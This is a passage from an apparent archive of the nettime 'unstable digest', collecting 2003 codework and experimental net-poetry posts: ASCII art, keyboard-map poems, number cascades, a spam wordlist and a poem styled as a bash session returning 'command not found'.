59\nSun Aug 10 00:03:01 2003\n\n\nSubject: Man hunter  (id: 1uVOBs drove)\n    From: Zazons Hazonyu <shore-crocodile {AT} arcor.de>\n    To: syndicate {AT} anart.no\n\nSubject: ASRF/0.2\n    From: HUB <hub {AT} x-arn.org>\n    To: syndicate {AT} anart.no\n\nSubject: ASRF\n    From: HUB <hub {AT} x-arn.org>\n    To: POETICS {AT} LISTSERV.BUFFALO.EDU\n\nSubject: 410 Gone\n    From: Derek R <derekr {AT} DEREKROGERSON.COM>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: Traditional Codework Poem\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: oh no more prelubes\n    From: \"John M. Bennett\" <bennett.23 {AT} OSU.EDU>\n    To: webartery {AT} yahoogroups.com\n\nSubject: luna\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: <syndicate {AT} anart.no>\n\nSubject: Encyclopoetica\n    From: \"August Highland\" <hmfah3 {AT} hotmail.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: archaea7 flannel\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Re: XOR-SKELETON 5 8\n    From: MWP <mpalmer {AT} JPS.NET>\n    To: POETICS {AT} LISTSERV.BUFFALO.EDU\n\nSubject: ~ Conclusions ~\n    From: Derek R <derekr {AT} DEREKROGERSON.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: XOR-SKELETON 5 8\n    From: MWP <mpalmer {AT} JPS.NET>\n    To: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\n\nSubject: B a c k     |<--   S p a c e\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: syndicate {AT} anart.no\n\nSubject: ASRF\n    From: HUB <hub {AT} x-arn.org>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Puzzle\n    From: MWP <mpalmer {AT} JPS.NET>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Language is Your Enemy\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: clarification\n    From: Ana Buigues <abuigues {AT} WANADOO.ES>\n    \n\n\n\nlurking editors\n\nbeatrice beaubien <webmaven {AT} i2eye.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 10 Aug 2003 10:35:53 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200308101033.h7AAX7F26577 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0308/msg00023.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 59"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00012",
                "content": "\nDate: Mon, 28 Jul 2003 17:58:44 +0100\nFrom: \"& -![ISO-8859-1] =BB-=AB\" <sier {AT} alunos.fcsh.unl.pt>\nTo: syndicate {AT} anart.no\nSubject: <no subject>\n\n\n\n\n      h\n        t\n         t\n        p\n    ://\n\n\n    sier.risco.pt/code/32/\n\n\n[...]\n    untitled folder:\n                  5656536:\n                     543:\n                         543:\n                   4453:\n                 45353:\n                1231234425:\n                13432423525:\n                2190933333:\n                257527457564562544:\n                2754345334:\n                345:\n                34534:\n                452625:\n                52345453:\n                55555555555:\n                65445:\n                7112526858:\n                746328:\n                8567567657756:\n               4453:\n                         543:\n                   4453:\n                 45353:\n                1231234425:\n                13432423525:\n                2190933333:\n                257527457564562544:\n                2754345334:\n                345:\n                34534:\n                452625:\n                52345453:\n                55555555555:\n                65445:\n                746328:\n                8567567657756:\n             45353:\n                   4453:\n                             543:\n                       4453:\n                     45353:\n                    1231234425:\n                    13432423525:\n                    2190933333:\n                    257527457564562544:\n                    2754345334:\n                    345:\n                    34534:\n                    452625:\n                    52345453:\n                    55555555555:\n                    65445:\n                    7112526858:\n                    746328:\n                    8567567657756:\n                7112526858:\n            1231234425:\n            13432423525:\n                         543:\n                   4453:\n                 45353:\n                1231234425:\n                345:\n                34534:\n                452625:\n                52345453:\n                55555555555:\n                65445:\n                7112526858:\n                746328:\n                8567567657756:\n            2190933333:\n            257527457564562544:\n            2754345334:\n            345:\n            34534:\n            452625:\n            52345453:\n            55555555555:\n            65445:\n            7112526858:\n            746328:\n                         543:\n                   4453:\n                 45353:\n                1231234425:\n                13432423525:\n                2190933333:\n                257527457564562544:\n                2754345334:\n                345:\n                34534:\n                452625:\n                52345453:\n                55555555555:\n                65445:\n                7112526858:\n                746328:\n                8567567657756:\n            8567567657756:\n                         543:\n                   4453:\n                 45353:\n                1231234425:\n                13432423525:\n                2190933333:\n                257527457564562544:\n                2754345334:\n                345:\n                34534:\n                452625:\n                52345453:\n                55555555555:\n                65445:\n                7112526858:\n                746328:\n                8567567657756:\n                 543:\n                 543 :\n           4453:\n           4453 :\n         45353:\n         45353 :\n        0444.MM:\n            MM.-00\n            MM.22\n            MM.33\n            MM.40\n            MM.43\n            MM.80\n            MM.99\n        1231234425:\n        1231234425 :\n        13432423525:\n        134324235250:\n        2190933333:\n        2190933333 0:\n        257527457564562544:\n        257527457564562544 76:\n        2754345334:\n        2754345334 7:\n        345:\n        345 66:\n        34534:\n        34534 63444:\n        452625:\n        452625 _233:\n        52345453:\n        52345453 :\n        55555555555:\n        55555555555 :\n            13432423525:\n            2190933333:\n            257527457564562544:\n            2754345334:\n        65445:\n        65445 :\n        7112526858:\n        71125268580:\n        746328:\n        746328 :\n        8567567657756:\n        8567567657756000:\n    U\u0148\u0017\u0086&\u0160O\u009c-\u0142w\u0106\u00df\u00ceL\u0002\u0154u6\u017b\u0144e\u00f4l\u00c2\u0141u\n    u\u00d6\u009fa\u0086\u0096\u00df {AT} \u0083`\u0091\u0092\u0085\u0001\u0103\u008a\u0097\u00f7\u0007\u010cj\f\u0103 7L\n    U\u0141\u008a\n    U\u0141\u008a'\u0165\n    u\u0106\n    u\u0091\u0086A\u000f\u009f\u008d\u0092w\u00ad|D3I\u0010y \u00a8\n    \u016f]\u017bz\u00fcF4\u001f^Yw\u017c\u00c9\"\u001b\u00f4 S\u015b\u0019\u0087VJyC!\u00df\n    \u016fd\u00b0\u00ce\u0179\u00e7<\u02d8a=Q[I\u00fd\u009a\u000e\u011aaa\u0154}\u0013\u00c1?\u0165\u0142&\n    \u016fP\u01191\u013e\n\nh\u0012&?\u00c9\u00b0\u017aT8\u0102f\u0110\n    \u00faIe4\u000e\u008b\u0099\u0144dB\u0090 (\u0158O\u0103c\u01111\u02d8\u0002\u0082\u0094\n    \u00faL^ \u0148\u001a\u0171\u0170ja\u0090\u009a\u0019h\u0093\u0015\u0141o\u00df\u000e\u0164\u0147\n    \u00da{\u00c7\u009b\u017b\u008b\u00c4R\u02d9\u0019\u011ay5\u0110\u009d \u017d\u0105\u0106\u0104bK\u0096\u000e\u00fd\u0147\n[...]\n\n\n\n\nDate: 2 Aug 2003 23:05:52 -0000\nFrom: HUB <hub {AT} x-arn.org>\nTo: syndicate {AT} anart.no\nSubject: ASRF\n\n\nover this term is an utter waste of time -- indicates my confidence in\nthe term   ozj  of the mind\" & that is & must be the over-arching defin\nition of the   on line: http://kunstradio.at/SENDEN/exchange_en.html  o\nn site: at rhiz (http://www.rhiz.at) and fluc (http://www.fluc.at), Vie\nnna  outstanding production from the region of Northern Hesse with its\n=BBGolden=  of new media tools for exhibition and exposition.  occupati\non: writing  ounounocerocerounounounounounocerounocerounoceroceroceroun\nounocerocer  ounounounounocerocerounocerocerounounocerounocerocerounoun\nounounouno  of the specific mobile phone in its association with the ot\nher mobile phones  Precedence: list  Punishment found  Punishment found\n  Punishment found  PARADISE command  PARADISE command\n\n_\nASCII SELECTED RANDOM FRAGMENTS GENERATOR\nGenerated by : lns-th2-10-82-64-151-148.adsl.proxad.net\nDate: 2003-08-03 01:05:52\nPowered By: http://x-arn.org/hub/osm/05.php3\n\n\nDate: Thu, 31 Jul 2003 01:03:09 +0000\nFrom: \"jumpy\" <8088234 {AT} invisible.gq.nu>\nTo: syndicate {AT} anart.no\nSubject: i am already alive\n\n\n                      ___      _     __  __\n                     |_ _|    / \\   |  \\/  | +\n                      | |    /+_ \\  | |\\/| |+\n                   ++ | |   / ___ \\ | |++|+|+        ++\n                   + |___| /_/ + \\_\\|_| +|_| +++  +++\n             _+++++_      ____ ++_____  +  _  +++____ __   __\n            / \\  T|+|+ead|in_ \\n| ____|tew/+\\++ |  _ \\\\ \\ / /\n           / _ \\++|a|++on| |_) ||+l_|ant+/+_s\\ w|e| |o|\\ V /\n          / ___ \\s|a|___o|as_ <+|+|___++/h___s\\t|i|_|u| | |\n         /_/   \\_\\|_____||_|+\\_\\|_____|/_/ste\\_\\|____/  |_|\n               _+to h_+++you___a__z+ he__ _____t critic\n              / \\d++|g|poli|_c_|\\a\\++y/i/| ____|nd +\n             /+_+\\f |e|t dow|h|ll\\f\\+/ /h|re_|++o++h not\n           +/+___t\\o|m|___ A|p|omo\\hVs/th| |___+++++++++\n           /_/   \\_\\|_____||___|e \"\\_/m m|_____|as if it++\n          _____  _as _not____hi_to__c__ si__+___   _   _\n         |  ___||r|c|n|+/+___|| |/a/e\\ \\o/e//e_t\\i|i|g| |\n         | |_   |c|i|d||n|++++|e'y/u h\\dVt/|h|v| || | | |\n         |  _|  |g|_| ||r|___ |u.e\\m s+|d|e| |_|f||d|_| |\n         |_|     \\___/so\\____||_|\\_\\   |_|  \\___/  \\___/\n                       +++              +\n                                        +\n\n\nDate: Sat, 21 Jun 2003 08:40:23 +0200\nFrom: Ana Buigues <abuigues {AT} WANADOO.ES>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: clarification\n\n\n\nit's a laponian hat.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nCaps\nLock\n\n\n\nDate:         Sun, 27 Jul 2003 22:28:16 -0400\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: what am i supposed to do with this\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nwhat am i supposed to do with this\ndid i make this\n\n                          m3589v7o6zo9442t3y5126o485l\n               [k.fp +?!=!gHkx7kXVydnpNphW57dgA7kHkx6&g5lk87=v5y981]\n                          zg6w1191b3156j4o5296poh2o3r\n                          [1.g!v +?3589v7o6z=o9442t3y5]\n                          126o485l922u5464ph2wkzg5lk87\n\ni did not make this but i changed it\ni don't know what to do with it\n\n            v5y9813817h83ldo667a1kv9ob2 fkx3eo79oo146!4bzg6w1191b315\n                          6j4o5296poh2o3r3921n5ro9k4!\n            2m3589v7o6zo9442t3y5126o485 l922u5464ph2wkzg5lk87v5y9813\n            817h83ldo667a1kv9ob2phkx3eo79 oo146!4bzg6w1191b3156j4o529\n            6poh2o3r3921n5ro9k4!2m3589v 7o6zo9442t3y5126o485l922u54\n\n             !gHkx7kXVydnpNphW57dgA7kHkx6 a1kv9ob2phkx3eo79oo146!4bzg6u\n\ni can't think of anything to do with it\nit can't be changed back\n\n\n__\n\n\n\nDate:         Tue, 29 Jul 2003 11:15:40 GMT\nFrom: Lanny Quarles <solipsis {AT} HEVANET.COM>\nSubject: Absolute Tensor Phase\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nAbsolute Tensor Phase (Tennessee Iguana Night)\n(Ezekiel 1-3; Ezra 9:23-28)\n\nFor Fang-Lannier---->Elwin Tenaculum.\n\nGABAA (METALRICE DESCENDS IN HANDFORM) [CEDE]\nforehead a\nuse+[sitisinregardtootherthingscomehatitisthatusesbesidesthefactt]\ntypical\ncolors+[inregardtocordcangerofmosquitoistherewithonedtandotherthings]\nprobably\nshape+[timepreciselyinonethatmeasuressulhollandeverycertainpaymenti]\nGABAB (METALRICE FILLS THE BLADDERSKIN) [CEFI]\nbroad+[istherewithaprofmuehelosigkeittdechiffroreneoitcomesasfortha]\nprojection+[tinregardtodatesitymingitisthacineofdofuniverdeofdatethemedi]\none covered\nslim+[terasfortablethoblemdecidedcencodeof2withisprngleistherecord]\nGABAA (METALRICE DANCES OVER ELECTROMAGNETOMASK) [CEDA]\nlike\ncross-legged+\n[etronicbeingsofcationoftheykelcordcodetheindishouldcomebeing]\nlike 20 curls+[tersinsquareitilyistheheadquarisendedcompleteadquarterswhich]\nvery oval\nyellow+[hatitdoesisorwrngscordcodeandtthatandotherthiblempublication]\nGABAB (METALRICE VOMITS FROM THE WICKER PORTHOLE) [CEVO]\npatina\ncollector+[izontalitaetofttralpointandhorumreportwithcentandmingdidmedi]\nin forehead+[kingthefactthatththedangerofmathatasforstrengfthecitizenitis]\nand scarified+\n[nregardasfortheywhereitdoestoismallopportunitdoesdoestobethe]\nGABAA (METALRICE FALLING AS RAIN) [CEFA]\ncreme James+[ineoftheforestirdcode3-di3-diluantityusethecosolidmatterof2q]\nNice+[eryoupaythattoadothatinthecentllandissohightoeasforthatissma]\nbone that central\n(relief)+[itizenofaztekiscuofstateoftheckofthecitizenofstateofcuofthey]\nGABAB (METALRICE RUNNING AS A RIVER) [CERU]\nmetal resting+[efeelingyouwritnordertodo3et3egeracquisitioniepossibilitydan]\nnice Hands+[mingdenselyothesforbeginningcocideshelpanglearetobeaholeitde]\nunusual+[vementisitistypatitisthickinmohatbosheitandthruleinregardtot]\nGABAA (METALRICE INGESTED BY MACHINIC VACUUMFETISH) [CEIN]\nrendered\ndistended+[printedmatter50entiertandotherularitiesof6talcordcoderectang]\npainted neck+[dinregardtoothedquarterstobeanjorityandtheheassmallthatthema]\n& wood eyes+[tdoesitisgoodassandprivateuseiardsfirstanddoethatofmethodreg]\nGABAB (METALRICE REDHOT IN THE HEARTHFIRE) [CERE]\nx horns+[hequantitythataotherthingsandttisthatmakingsoherthingschaini]\nStorage+[tercontentandotthattobeasforwacode439itiswithtupcontentscord]\nsquare+[ityofpossibilitrdtothepossibilenangrytoinregadateanditisgott]\nGABAA (METALRICE LAID AS A TRAIL TO THE SPRING) [CELA]\nlike forehead\ncheeks+[hemajorityitispmobtainingtobetimension8problerdtotheshapeofd]\nbut with wings+[rporationode1usethatofco]\nupon mouth+\n[is1acordcodecorudoaheaddoaheadestheusewhereyolyverticalitydo]\nGABAB (METALRICE BURIED WITH THE YOUNG DEER) [CEBU]\ntoothy nassa+[andasforthatthetisplaceonthestntermecwhichthaedstatesof1988i]\nbush-cane+[problemishighituofthecountryofkofastatewherechecitizenofthey]\nBrazil and\ncrusty+[ationendsasitsewhichstandardizingforgatheringtoofotherbeginn]\nGABAA (METALRICE MIXED WITH PIGEONBLOOD) [CEMI]\npolychromed with pigment\nmice+[thebasisgoesouthatmovementtypetoinregarditistshouldmakedense]\ngrinding good\nMasks+[ofthestateofcuoinregardtotheykacreandyandming1inregardtolong]\nby affecting\npatterns+[ionasforthelimieancientcollectfthesiblingofthossibilitythato]\nGABAB (METALRICE CAST AWAY OVER THE FALLS) [CECA]\nFace coiffure+\n[esaiagandmosquih1984whereitfaceswhenitdoeswititisaretheretim]\ntwo mouth Intact\nhand+[ubscriptionthatratioofdividedsthatitisitmayisebesidesthefact]\nspiral-carved+[gryisthatinregahof1tisgottenanhepossibilityofdcodelanduthatt]\nGABAA (METALRICE SEWN UNDER THE SKIN) [CESE]\nblue toothed+[ingtheservicehetthelineofshearedgeinsquarethaiteswhichcenter]\nred legs+[esatisfactoryhuisthattheyarethshoulddobeingitasforwiththatit]\nand sleeves+[vestigationfami19921cordcodeinctofcordcode1ofheindustryprodu]\nGABAB (METALRICE USED AS RECORDING DEVICE) [CEUS]\ncreme linear\nears+[dothatglancetobswiththathightoldbeattachediticomesnumbershou]\nof tusks+[gofexpedientulsstandsandfeelinisincludesunderhowinadditionit]\nornate black forehead\neyes+[mberin1995ofthethereisalargenuidecordcodewithydoesthehanddiv]\nGABAA (METALRICE FALLING THROUGH THE ROOFHOLE) [CEFA]\nwhite\nkangaroo+[chisendedcordcocordcode3-diwhifthecorporationndiaofpositiono]\nnearly an arching\nhead+[heofkorporationallynofwalisiscdcodeofcordcodecheoftheykofcor]\nface wrapping\n\"arms\"+[ountryoftheunitporation2ofthecmberitisdoescorregardtolargenu]\nGABAB (METALRICE CARRIED BY MULE TO THE MUDCITY) [CECA]\nwinged\nserpentine+[gertobetodothatnregardtothatanirstespeciallyindredlineshighf]\ncircular pigment to temple\ncreme+[hepersonandthatewithotherthantingtheplacewheratisthatdensebe]\nvertical\ngoatee+[itioncordcodeasuarequantityposly15mmx15mminsqrthingscomplete]\nGABAA (METALRICE MELTED IN THE METALSKULL) [CEME]\nblack Korogo\nbeard+[islargewiththatttenangryisyooieafeelingmanygoforthattheretob]\nkidney-shaped+\n[1mm2emestateoftsofcuof151mmx15etheheadquarterforthatitislarg]\nwith ancestral\nbird+[orthatthereisasoitisitcomesasfonitisitisthatsmultiofdirecti]\n\n[CEDE]- The Reservoir at Villa Falconieri, Frascati, 1903\n[CEFI]- Politique scientifique\n[CEDA]- sediments dredged from the waterways of the world\n[CEVO]- isomsets/terrain-cevo\n[CEFA]- Celithemis fasciata\n[CERU]- single impurity Anderson model (SIAM)\n[CEIN]- tu'a lo bangu\n[CERE]- BLUE or WILD TYPE\n[CELA]-  \"La Mancha in My Heart\"\n[CEBU]- Cebuano\n[CEMI]- vibrotactile simulator\n[CECA]- gizzard and proventriculus\n[CESE]- Blisters found on AA2024\n[CEUS] - Hastimphilo de Moura's head of the Sabar\n[CEFA]- Bolivia/laguna milluni\n[CECA]- Repubblica Ceca\n[CEME]- Electronomicon\n\n( )\n\none = \"baby-barbu\"\n\nHABILEMOTORHARNESS = \"Christ-of-Fur\"\n\n\n\nDate:         Wed, 30 Jul 2003 09:51:40 +1000\nFrom: \"l][r][avish.A!\" <netwurker {AT} HOTKEY.NET.AU>\nSubject: _[s]lavi[c]sh bones_\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n______________________________________________________\n_[s]lavi[c]sh bones_     09:46am 30/07/2003\n______________________________________________________\n\n.\nblack claddish +m/possible [hos]pitables\ncold frozen +snap.dried cum.munication\narms glued 2 frost_licked.[n]sid[ious]es\n\n\n.\nso[i]lder arcs +fertile g.lance[r] trajectories\nfleeced words +cotton finger.tippishness\nshooter.moments\n\n\n.\nslavic cheeks + blonde bytes\n[liquid skin+meat]\nsocial anti-touch[e].ing\n\n\n.\nh.an[gle]d flips + kinetic[aul] snap.shotting\nlick hip +gasp flicking\ncrows_feat + teen.ager pittage\n\n\n\n\n\n\n- pro][rating][.lucid.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n_\n_cr[xxx]oss ova.ring.\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\nSubject: emit\nDate: Tue, 29 Jul 2003 15:37:23 +0200\n\n\n\n\n     \\m p o r\n     t\n      \\m e s t a m p  t i m e\n\n                      t i m e\n\n                      t i m e\n       \\\n   c o n\n        \\i g d a t a  t i m e S t a m p T e s\n\n                      t t t t i m e s   T a m p\n     p r i n\\\n     p r i n\\\n\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n           {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\n\n\nDate: Fri, 1 Aug 2003 13:25:48 GMT\nFrom: \"William Weissman\"<can {AT} 163.COM>\nTo: cantsin {AT} komma.zedat.fu-berlin.de\nSubject: household\n\naccessories\nbreachers\ncounterfeit\nmeting\ncrashers\nexpletive\nauckland\npocket\nbaltimorean\nbrazenly\ntaxi\nplaywrights\ntendon\ntemperament\nhulls\naccost\nbreads\nmedium\nethanol\nmaternal\nmicroseconds\nplayground\ncriticizes\nseamen\nporcupines\nexperiments\nexecutive\nboeing\nscriven\nsavagely\n$RANDO MIZE\ncrook\nteenaged\npotable\nevaluators\nboatload\nbreadfruit\ntease\nscornful\naleck\nbotched\nbrae\nacorn\nhumiliate\npopular\nscrupulously\nalbright\nmicrography\nhurtle\nadrenaline\ncreamery\nsawmills\npolariscope\navery\nbootstraps\nexerting\nbluntness\nacclimated\nexpunging\ntapper\nadmires\n$RANDOM IZE\nscandals\nhydrometer\ncottager\nterminable\narmenian\nbounds\nadoption\niconoclasm\nscoundrel\ntennessee\ncrewman crass mechanize playwrights tax bowmen americana everywhere tate\nteacart country\n[http://srd.yahoo.com/drst/alcoa/*http://www.8867v.com/file/ra.gif]\npollutes admiringly tantalizing politicians adolescents satisfactorily adjunct\nplotters illustrations explorer scintillate adams meted poisonous scantly ether\npompon teakwood mater pleasingly pooling braking telepathy bluster adventist\ncrossovers sapient tanker scene playwright $RANDOM IZE bobby cotman schoolboys\nhoy immigrant exothermic adverbial mew evades targeting excepting advent\nbookshelf posting andes illustrators temperately seagull bowie sea breakdowns\nadministrative mediates hostage allentown pliant playthings savors hotelman\ncoupling $RANDOMI ZE actuarially satiety tentacle courtesy postoperative\nplugging scanned 8th hordes expelled scorn horsemen botanist alva savageness\ncowbell adoptions evince pony addendum pottery\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\nSubject: e t p o u r t a n t e t p o u r t a n t e t p o u r t a n t e t p\nDate: Sun, 03 Aug 2003 21:48:58 +0200\n\n0xf031 0xf032 0xf033 0xf034\n0xf035 0xf036 0xf037 0xf038\n                                9       0       -       =\n                                B a c k            |<--\n\n                                S p a c e\n0xf039 0xf030 0xf02d 0xf03d\n0xf060 0xf07f 0xf200 0xf200\n\n\n\n                       S h e l l   -->|\n                        T a b\n\n                             a\n\n                             z\n\n                             e\n\n                             r\n\n                             t\n\n                             y\n\n                             u\n\n                             i\n\n                             o\n\n                             p\n\n\n0xfb72 0xfb74 0xfb79 0xfb75\n0xfb69 0xfb6f 0xfb70 0xf05b\n\ne t p o u r t a n t e t p o u r t a n t e t p o u r t a n t e t p o u r \nt a n t e t p o u r t a n t e t p o u r t a n t\n\n                                D e l             7       8       9\n0xf05d 0xf200 0xf200 0xf200\n0xf307 0xf308 0xf300 0xf30a\n                             <--]   U p      [-->]   C t r l\n\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n          {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\nSubject: blabla\nDate: Mon, 28 Jul 2003 12:07:34 +0200\n\n\n\n\n\n\n\n\n\n          i\\po\n            m\\or\n   mp\\rt\n          o\\t\n\n\n     impo\\t\n          \\\n   .cks/ash put\n            /\n         \\ /\n   b.r.a. /\\e.f.t. p.u.t.\n       /.k.\\.l.a.s.h. p.u.t.\n   bra/ketrig\\t put\n\n    a/ciicircum\\put\nunderscore p\\t\n   c.l.e.a.n.i n g.u.p.\n\n\n   e c.h.o c l.e.a.n i n.g u p\n\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n            {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\n\n\nDate: Sun, 03 Aug 2003 02:26:12 +0200\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\nSubject: q w e r t y\n\n\n\n                 \\\n                 P\\Up\n                   Do\\n\n                  PgD\\\n                 Alt \\\n\n\n                   Space\\\n                     A l t \\\n               E n t e      \\\n                S h i f \\\n                 P o p\n\n                     q\n\n                     w\n\n                     e\n\n                     r\n                \\\n                 \\   t\n                  \\\n                   \\ y\n                    \\  /\n                     xf200\n                    /x\\200\n                     xf\\00\n                     xf2\\0\n                     xf00\\\n                     xfb71\\\n                     xfb77 \\\n                     xfb65  \\   (1)\n                             \\\n\n(1) et pourtant et pourtant\n\n\n\n\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n          {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ###########\nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ /\n/ /____|##################################################################\n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n>\n>\n\n\n\nDate:         Mon, 28 Jul 2003 17:07:18 -0700\nFrom: Lanny Quarles <solipsis {AT} HEVANET.COM>\nSubject: Re: O3 (poem)\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n#7&#4 get tricky\n#7&#4\n#7&#4\n#7&#4\n#7&#4\n#7&#4\n#7&#4\n#7&#4\n#7&#4\n\n\n\nDate: Mon, 28 Jul 2003 10:06:19 +0200\nFrom: =?iso-8859-1?b?YXN0cutl?= galbiatta <astreegalbiatta {AT} vnatrc.net>\nTo: Alan Sondheim <sondheim {AT} panix.com>\nSubject: Re:  what am i supposed to do with this\n\nSelon Alan Sondheim <sondheim {AT} panix.com>:\n\ndelete it maybe ?\n> \n> \n> what am i supposed to do with this\n> did i make this\n> \n>                           m3589v7o6zo9442t3y5126o485l\n>                [k.fp +?!=!gHkx7kXVydnpNphW57dgA7kHkx6&g5lk87=v5y981]\n>                           zg6w1191b3156j4o5296poh2o3r\n>                           [1.g!v +?3589v7o6z=o9442t3y5]\n>                           126o485l922u5464ph2wkzg5lk87\n> \n> i did not make this but i changed it\n> i don't know what to do with it\n> \n>             v5y9813817h83ldo667a1kv9ob2 fkx3eo79oo146!4bzg6w1191b315\n>                           6j4o5296poh2o3r3921n5ro9k4!\n>             2m3589v7o6zo9442t3y5126o485 l922u5464ph2wkzg5lk87v5y9813\n>             817h83ldo667a1kv9ob2phkx3eo79 oo146!4bzg6w1191b3156j4o529\n>             6poh2o3r3921n5ro9k4!2m3589v 7o6zo9442t3y5126o485l922u54\n> \n>              !gHkx7kXVydnpNphW57dgA7kHkx6 a1kv9ob2phkx3eo79oo146!4bzg6u\n> \n> i can't think of anything to do with it\n> it can't be changed back\n> \n> \n> __\n\"I sat drinking and did not notice the dusk,\nTill falling petals filled the folds of my dress.\nDrunken I rose and walked to the moonlit stream;\nThe birds were gone, and men also few.\"\n\n\n\n\nkisses.\nastr\u00ebe\n\n\n\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\u00a8\n    mais    \n            \nveux tu mais \n            \n    veux    \n____________\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: ill commands\nDate: Mon, 28 Jul 2003 16:19:21 -0400 (EDT)\n\n\n\n\nill commands\n\n\n[root {AT} localhost network]# i'm traveling to pennsylvania\n> i'll stay with my father yes i will\nbash: im traveling to pennsylvania\nill: command not found\n[root {AT} localhost network]# azure will stay as well\nbash: azure: command not found\n[root {AT} localhost network]# my father will travel to canada\nbash: my: command not found\n[root {AT} localhost network]# and we'll be there in pennsylvania\n> i promise you i'll try to write yes i will\nbash: and: 